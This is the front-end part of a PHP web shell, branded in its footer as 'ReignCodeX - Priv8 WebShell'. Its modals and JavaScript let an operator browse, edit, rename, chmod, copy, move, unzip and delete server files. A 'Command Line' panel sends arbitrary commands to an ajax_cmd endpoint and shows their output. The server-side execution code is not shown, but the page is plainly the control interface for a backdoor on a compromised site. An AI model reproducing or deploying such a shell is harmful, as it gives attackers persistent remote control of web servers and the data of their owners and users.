    <div id="newFileModal" class="modal"><div class="modal-content modal-small"><form method="post"><h2>New File</h2><input type="hidden" name="action" value="create_file"><input type="hidden" name="csrf_token" value="<?php echo $_SESSION['csrf_token']; ?>"><input type="hidden" name="path" value="<?php echo htmlspecialchars($path_param); ?>"><input type="text" name="name" placeholder="File name" required autofocus><div class="modal-buttons"><button type="button" class="btn-secondary" onclick="closeAllModals()">Cancel</button><button type="submit" class="btn-primary">Create</button></div></form></div></div>
    <div id="renameModal" class="modal"><div class="modal-content modal-small"><form method="post"><h2>Rename Item</h2><input type="hidden" name="action" value="rename"><input type="hidden" name="csrf_token" value="<?php echo $_SESSION['csrf_token']; ?>"><input type="hidden" name="path" value="<?php echo htmlspecialchars($path_param); ?>"><input type="hidden" id="rename-old-name" name="old_name"><input type="text" id="rename-new-name" name="new_name" placeholder="New name" required><div class="modal-buttons"><button type="button" class="btn-secondary" onclick="closeAllModals()">Cancel</button><button type="submit" class="btn-primary">Rename</button></div></form></div></div>
    <div id="chmodModal" class="modal"><div class="modal-content modal-small"><form method="post"><h2>Change Permissions</h2><input type="hidden" name="action" value="chmod"><input type="hidden" name="csrf_token" value="<?php echo $_SESSION['csrf_token']; ?>"><input type="hidden" name="path" value="<?php echo htmlspecialchars($path_param); ?>"><input type="hidden" id="chmod-item-name" name="item"><input type="text" id="chmod-perms" name="perms" pattern="[0-7]{3,4}" placeholder="e.g. 0755" required><div class="modal-buttons"><button type="button" class="btn-secondary" onclick="closeAllModals()">Cancel</button><button type="submit" class="btn-primary">Set</button></div></form></div></div>
    <div id="copyMoveModal" class="modal"><div class="modal-content modal-small"><form id="copy-move-form" method="post" onsubmit="return handleBulkSubmit(this)"><h2>Copy/Move Items</h2><p>Enter absolute destination path.</p><input type="hidden" name="bulk_action" id="copy-move-action"><input type="hidden" name="csrf_token" value="<?php echo $_SESSION['csrf_token']; ?>"><input type="hidden" name="path" value="<?php echo htmlspecialchars($path_param); ?>"><div id="copy-move-items"></div><input type="text" name="destination_path" placeholder="/path/to/destination" required><div class="modal-buttons"><button type="button" class="btn-secondary" onclick="closeAllModals()">Cancel</button><button type="submit" class="btn-primary">Confirm</button></div></form></div></div>
    <div id="editModal" class="modal"><div class="modal-content modal-large"><h2 id="edit-title">Edit File</h2><form method="post" style="display:flex;flex-direction:column;flex-grow:1;"><input type="hidden" name="action" value="edit"><input type="hidden" name="csrf_token" value="<?php echo $_SESSION['csrf_token']; ?>"><input type="hidden" name="path" value="<?php echo htmlspecialchars($path_param); ?>"><input type="hidden" id="edit-file-name" name="file"><textarea id="edit-content" name="content"></textarea><div class="modal-buttons"><button type="button" class="btn-secondary" onclick="closeAllModals()">Cancel</button><button type="submit" class="btn-primary">Save</button></div></form></div></div>
    <div id="viewModal" class="modal"><div class="modal-content modal-large"><h2 id="view-title">View File</h2><textarea id="view-content" readonly></textarea><div class="modal-buttons"><button type="button" id="view-to-edit-btn" class="btn-primary">Edit</button><button type="button" class="btn-secondary" onclick="closeAllModals()">Close</button></div></div></div>
    <div id="cmdModal" class="modal"><div class="modal-content modal-large"><h2>Command Line</h2><pre id="cmd-output"></pre><form id="cmd-input-form"><input type="text" id="cmd-input" autocomplete="off" autofocus><button type="submit" class="btn-primary">Run</button></form><div class="modal-buttons"><button type="button" class="btn-secondary" onclick="closeAllModals()">Close</button></div></div></div>

    <footer class="footer">
        <p>&copy; <?php echo date('Y'); ?> ReignCodeX - Priv8 WebShell</p>
        <p>
            <a href="https://github.com" target="_blank" title="GitHub"><svg viewBox="0 0 16 16"><path fill-rule="evenodd" d="M8 0C3.58 0 0 3.58 0 8c0 3.54 2.29 6.53 5.47 7.59.4.07.55-.17.55-.38 0-.19-.01-.82-.01-1.49-2.01.37-2.53-.49-2.69-.94-.09-.23-.48-.94-.82-1.13-.28-.15-.68-.52-.01-.53.63-.01 1.08.58 1.23.82.72 1.21 1.87.87 2.33.66.07-.52.28-.87.51-1.07-1.78-.2-3.64-.89-3.64-3.95 0-.87.31-1.59.82-2.15-.08-.2-.36-1.02.08-2.12 0 0 .67-.21 2.2.82.64-.18 1.32-.27 2-.27.68 0 1.36.09 2 .27 1.53-1.04 2.2-.82 2.2-.82.44 1.1.16 1.92.08 2.12.51.56.82 1.27.82 2.15 0 3.07-1.87 3.75-3.65 3.95.29.25.54.73.54 1.48 0 1.07-.01 1.93-.01 2.2 0 .21.15.46.55.38A8.013 8.013 0 0016 8c0-4.42-3.58-8-8-8z"></path></svg></a>
            <a href="https://telegram.org" target="_blank" title="Telegram"><svg viewBox="0 0 24 24"><path d="M11.944 0A12 12 0 0 0 0 12a12 12 0 0 0 12 12a12 12 0 0 0 12-12A12 12 0 0 0 12 0a12 12 0 0 0-.056 0zm4.962 7.224c.1-.002.321.023.465.14a.307.307 0 0 1 .1.288c-.052.242-.2.855-.282 1.23l-1.45 6.794a.46.46 0 0 1-.418.324c-.21.024-.397-.07-.533-.193l-2.212-1.71-1.058 1.01a.593.593 0 0 1-.44.186l.149-2.263 4.36-3.952c.19-.17.02-.26-.15-.156l-5.42 3.42-2.17.67a.452.452 0 0 1-.53-.483c.188-1.03 1.02-3.33 1.405-4.44a.412.412 0 0 1 .4-.288c.224-.002 1.43.54 1.43.54l.024-.014z"></path></svg></a>
        </p>
    </footer>
    <script>
        'use strict';
        // expose current server path to JS
        const currentPath = "<?php echo addslashes($path_param); ?>";
        function showModal(id){ const el = document.getElementById(id); el.style.display = 'flex'; const focusEl = el.querySelector('[autofocus]'); if(focusEl) focusEl.focus();}
        function closeAllModals(){
            document.querySelectorAll('.modal').forEach(m => m.style.display = 'none');
            // restore URL to show only the current path (keeps browser clean)
            try{ window.history.replaceState({}, document.title, window.location.pathname + '?path=' + encodeURIComponent(currentPath)); }catch(e){}
        }
        document.addEventListener('keydown', e => { if (e.key === "Escape") closeAllModals(); });

        function fetchContent(file, contentEl, titleEl, titlePrefix) {
            if (titleEl) titleEl.innerText = titlePrefix + file;
            contentEl.value = 'Loading...';
            const url = `?action=get_content&path=<?php echo urlencode($path_param); ?>&file=${encodeURIComponent(file)}`;
            fetch(url).then(res => res.text()).then(data => contentEl.value = data).catch(err => contentEl.value = 'Error loading file.');
        }

        function showEditModal(file){
            // update URL to include path and file so reloads/redirects can preserve context
            try{ window.history.replaceState({}, document.title, window.location.pathname + '?path=' + encodeURIComponent(currentPath) + '&file=' + encodeURIComponent(file)); }catch(e){}
            fetchContent(file, document.getElementById('edit-content'), document.getElementById('edit-title'), 'Edit: ');
            document.getElementById('edit-file-name').value = file;
            showModal('editModal');
        }

        function showViewModal(file){
            try{ window.history.replaceState({}, document.title, window.location.pathname + '?path=' + encodeURIComponent(currentPath) + '&file=' + encodeURIComponent(file)); }catch(e){}
            fetchContent(file, document.getElementById('view-content'), document.getElementById('view-title'), 'View: ');
            document.getElementById('view-to-edit-btn').onclick = () => { closeAllModals(); showEditModal(file); };
            showModal('viewModal');
        }

        function showRenameModal(name){
            document.getElementById('rename-old-name').value = name;
            document.getElementById('rename-new-name').value = name;
            showModal('renameModal');
        }

        function showChmodModal(name, perms){
            document.getElementById('chmod-item-name').value = name;
            document.getElementById('chmod-perms').value = perms;
            showModal('chmodModal');
        }
        
        const actionForm = document.getElementById('file-action-form');
        // Helper to safely set CSRF token from any known token input on page
        function ensureCsrfOnForm(form){
            try {
                const pageToken = document.querySelector('input[name="csrf_token"]');
                if(pageToken && form){
                    let fToken = form.querySelector('input[name="csrf_token"]');
                    if(!fToken){
                        fToken = document.createElement('input'); fToken.type = 'hidden'; fToken.name = 'csrf_token'; form.appendChild(fToken);
                    }
                    fToken.value = pageToken.value;
                }
            } catch(err) { console.warn('CSRF sync failed', err); }
        }

        // Ensure form has current path hidden input
        function ensurePathOnForm(form){
            try{
                if(!form.querySelector('input[name="path"]')){
                    const p = document.createElement('input'); p.type='hidden'; p.name='path'; p.value = currentPath; form.appendChild(p);
                } else {
                    form.querySelector('input[name="path"]').value = currentPath;
                }
            }catch(e){ console.warn('Path sync failed', e); }
        }

        document.querySelectorAll('.delete-btn').forEach(btn => {
            btn.addEventListener('click', e => {
                const name = btn.dataset.item || e.target.dataset?.item || '';
                if(!name) return alert('Unable to determine item to delete.');
                if(confirm('Delete "' + name + '"?')){
                    actionForm.querySelector('[name=action]').value = 'delete';
                    actionForm.querySelector('[name=item]').value = name;
                    ensurePathOnForm(actionForm);
                    ensureCsrfOnForm(actionForm);
                    actionForm.submit();
                }
            });
        });

        document.querySelectorAll('.unzip-btn').forEach(btn => {
            btn.addEventListener('click', e => {
                const name = btn.dataset.item || e.target.dataset?.item || '';
                if(!name) return alert('Unable to determine archive to extract.');
                if(confirm('Extract "' + name + '"?')){
                    actionForm.querySelector('[name=action]').value = 'unzip';
                    actionForm.querySelector('[name=item]').value = name;
                    ensurePathOnForm(actionForm);
                    ensureCsrfOnForm(actionForm);
                    actionForm.submit();
                }
            });
        });

        const mainForm = document.getElementById('main-form');
        function handleBulkSubmit(form){
            // ensure required hidden inputs are present
            try{ if(typeof ensurePathOnForm === 'function') ensurePathOnForm(form); }catch(e){}
            try{ if(typeof ensureCsrfOnForm === 'function') ensureCsrfOnForm(form); }catch(e){}

            // append selected items from main form into this form
            document.querySelectorAll('#main-form input[name="selected_items[]"]:checked').forEach(cb => {
                const input = document.createElement('input');
                input.type = 'hidden';
                input.name = 'selected_items[]';
                input.value = cb.value;
                form.appendChild(input);
            });
            // Validate presence of CSRF and path
            const hasCsrf = !!form.querySelector('input[name="csrf_token"]')?.value;
            const hasPath = !!form.querySelector('input[name="path"]')?.value;
            if (!hasCsrf || !hasPath) {
                alert('Missing CSRF token or path. Please reload the page and try again.');
                return false;
            }
            // If copying/moving, ensure destination is provided
            const bulkAct = form.querySelector('input[name="bulk_action"]')?.value || form.querySelector('#copy-move-action')?.value;
            if ((bulkAct === 'copy' || bulkAct === 'move') && !form.querySelector('input[name="destination_path"]')?.value) {
                alert('Please provide a destination path.');
                return false;
            }
            return true;
        }
        
        const selectAllCheckbox = document.getElementById('select-all');
        const itemCheckboxes = document.querySelectorAll('#main-form input[name="selected_items[]"]');
        const bulkActionsBar = document.getElementById('bulk-actions-bar');
        selectAllCheckbox.addEventListener('change', e => {
            itemCheckboxes.forEach(cb => cb.checked = e.target.checked);
            toggleBulkActionsBar();
        });
        itemCheckboxes.forEach(cb => cb.addEventListener('change', toggleBulkActionsBar));
        function toggleBulkActionsBar(){
            const anyChecked = [...itemCheckboxes].some(cb => cb.checked);
            bulkActionsBar.style.display = anyChecked ? 'flex' : 'none';
        }
        function showCopyMoveModal(action) {
            const form = document.getElementById('copy-move-form');
            document.getElementById('copy-move-action').value = action;
            document.querySelector('#copyMoveModal h2').textContent = `${action.charAt(0).toUpperCase() + action.slice(1)} Selected Items`;
            // list selected items for confirmation
            const checked = [...document.querySelectorAll('#main-form input[name="selected_items[]"]:checked')].map(cb => cb.value);
            const itemsDiv = document.getElementById('copy-move-items');
            if (checked.length === 0) {
                itemsDiv.innerHTML = '<p style="color:#ffbebe;">No items selected.</p>';
            } else {
                itemsDiv.innerHTML = '<p><strong>Items:</strong> ' + checked.map(x => '<code>' + x + '</code>').join(', ') + '</p>';
            }
            // prefill destination with current directory to save typing
            const destInput = form.querySelector('input[name="destination_path"]');
            if (destInput) destInput.value = currentPath || destInput.value || '';
            // ensure hidden path & csrf fields exist and are up-to-date
            try{ ensurePathOnForm(form); }catch(e){}
            try{ ensureCsrfOnForm(form); }catch(e){}
            showModal('copyMoveModal');
        }

        const cmdForm = document.getElementById('cmd-input-form');
        const cmdInput = document.getElementById('cmd-input');
        const cmdOutput = document.getElementById('cmd-output');
        cmdForm.addEventListener('submit', e => {
            e.preventDefault();
            const cmd = cmdInput.value.trim();
            if (cmd === '') return;
            
            cmdOutput.innerHTML += `\n<span style="color:var(--primary-color)">&gt; ${cmd}\n</span>`;

            const formData = new FormData();
            formData.append('cmd', cmd);
            formData.append('csrf_token', '<?php echo $_SESSION['csrf_token']; ?>');

            fetch(`?action=ajax_cmd&path=<?php echo urlencode($path_param); ?>`, { method: 'POST', body: formData })
            .then(response => response.text())
            .then(output => {
                cmdOutput.innerHTML += output;
                cmdOutput.scrollTop = cmdOutput.scrollHeight;
            })
            .catch(error => {
                cmdOutput.innerHTML += `<span style="color:var(--red-color)">Error: ${error}</span>`;
                cmdOutput.scrollTop = cmdOutput.scrollHeight;
            });
            cmdInput.value = '';
        });
        
        // Clean up URL on load: remove transient params like 'file' or 'action' but preserve 'path'
        document.addEventListener('DOMContentLoaded', function(){
            try{
                const params = new URLSearchParams(window.location.search);
                // only modify URL if there are transient params we want to remove
                if (params.has('file') || params.has('action')) {
                    const path = params.get('path') ? '?path=' + encodeURIComponent(params.get('path')) : '';
                    window.history.replaceState({}, document.title, window.location.pathname + path);
                }
            }catch(e){ /* ignore */ }
        });

        // Debug: log forms submissions and action names to help trace issues
        document.querySelectorAll('form').forEach(f => {
            f.addEventListener('submit', function(e){
                try{
                    const fd = new FormData(f);
                    const keys = [];
                    for(const k of fd.keys()) keys.push(k);
                    const actionName = fd.get('action') || fd.get('bulk_action') || '[none]';
                    console.log('Form submit -> action:', actionName, 'fields:', keys);
                }catch(err){ console.warn('Form debug error', err); }
            });
        });

        // Ensure logout form is synced with current path and csrf before submit
        document.querySelectorAll('.logout-form').forEach(f => {
            f.addEventListener('submit', function(e){
                try{ ensurePathOnForm(f); }catch(e){}
                try{ ensureCsrfOnForm(f); }catch(e){}
                try{ const keys = []; for(const k of new FormData(f).keys()) keys.push(k); console.log('Logout submit fields:', keys); }catch(e){}
            });
        });
    </script>
<?php if (!empty($open_file)): ?>
    <script>document.addEventListener('DOMContentLoaded', function(){ showEditModal('<?php echo addslashes($open_file); ?>'); });</script>
<?php endif; ?>
</body>
</html>